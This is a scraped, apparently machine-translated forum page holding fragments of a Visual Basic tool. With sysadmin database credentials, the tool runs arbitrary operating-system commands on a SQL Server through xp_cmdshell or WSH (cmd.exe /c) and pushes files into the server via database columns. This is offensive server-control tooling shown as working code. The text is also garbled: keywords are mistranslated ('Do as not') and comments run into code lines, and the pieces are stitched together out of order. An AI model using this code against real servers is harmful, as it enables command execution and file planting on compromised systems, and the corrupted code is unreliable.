server| upload Need a adodb.connection, connect user name need sysadmin authority, first RadioButton need xp_cmdshell support, second \ Three need WSH support, When used, it adjusts itself as a result of the restrictions on the server. Example of a control see the post drawings
If Optuplmethod (0). Value = True Then
Txtuploutput.text = Cmdshellexec (strexec)
ElseIf Optuplmethod (1). Value = True Then
Txtuploutput.text = Wsshellexec (strexec, "cmd.exe/c")
ElseIf Optuplmethod (2). Value = True Then
Txtuploutput.text = Wsshellexec (strexec, "command.com/c")
End If
objConn.Execute "DROP TABLE cmds0002"
Txtstatus.text = "Upload done."
Me.mousepointer = 0
Exit Sub
Errhandle:
Me.mousepointer = 0
If Err.Number = -2147217900 Then
Resume Next
ElseIf Err.Number = -2147217865 Then
Resume Next
Else
MsgBox "Error (Upload):" & Err.Description, vbOKOnly + vbexclamation
End If
End Sub
Private Function cmdshellexec (ByVal strcommand As String) as String
On Error GoTo Errhandle:
Dim Strquery as String
Dim Strresult as String
Dim Recresult as ADODB. Recordset
If strcommand <> "" Then
strquery = "exec Master.dbo.xp_cmdshell '" & strcommand & "'"
Txtstatus.text = "Executing command, please wait ..."
Set Recresult = objConn.Execute (strquery)
Do as not recresult.eof
strresult = strresult & vbCrLf & Recresult (0)
Recresult.movenext
Loop
End If
Set Recresult = Nothing
Txtstatus.text = "Command completed successfully!"
Cmdshellexec = Strresult
Exit Function
Errhandle:
MsgBox "Error:" & Err.Description, vbOKOnly + vbexclamation
End Function
Rsshell.open "SELECT * from cmds0001", objconn, 1, 1
Do as not rsshell.eof
strresult = strresult & Rsshell ("Info") & VbCrLf
Rsshell.movenext
Loop
objConn.Execute "DROP TABLE cmds0001"
Wsshellexec = Strresult
Exit Function
Errhandle:
If Err.Number = -2147217900 Then
Resume Next
ElseIf Err.Number = -2147217865 Then
Resume Next
Else
MsgBox Err.Number & Err.Description
End If
End Function
Private Sub Filetodb (Col as ADODB. Field, diskfile as String)
Const BLOCKSIZE as Long = 4096
' Get the data from a temporary file and save it to the database
' Col is an ADO field, Diskfile is a filename, it can be a remote file.
Dim strdata () as Byte declares a dynamic array
Dim numblocks as Long ' Read and write block number
Dim filelength as Long ' file length
Dim leftover as Long ' number of bytes left
Dim sourcefile as Long ' file handle
Dim I as Long
SourceFile = FreeFile ' Gets the remaining file handle number
Open Diskfile for Binary Access read as sourcefile opens the source file in binary read mode.
Filelength = LOF (sourcefile) ' Get file length
If filelength = 0 Then
Close SourceFile ' closes file
MsgBox Diskfile & "Empty or not Found.", vbOKOnly + vbexclamation
Else
Numblocks = filelength \ BLOCKSIZE ' Get the number of blocks
leftover = filelength Mod BLOCKSIZE ' last byte number
Col.appendchunk null ' append null value to clear existing data
ReDim strdata (BLOCKSIZE) ' reads the content from the file and writes it to the file.
For i = 1 to Numblocks
Get SourceFile,, strdata
Col.appendchunk strdata
Next I
ReDim strdata (leftover)
Get SourceFile,, strdata
Col.appendchunk strdata
Close SourceFile
End If
End Sub
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.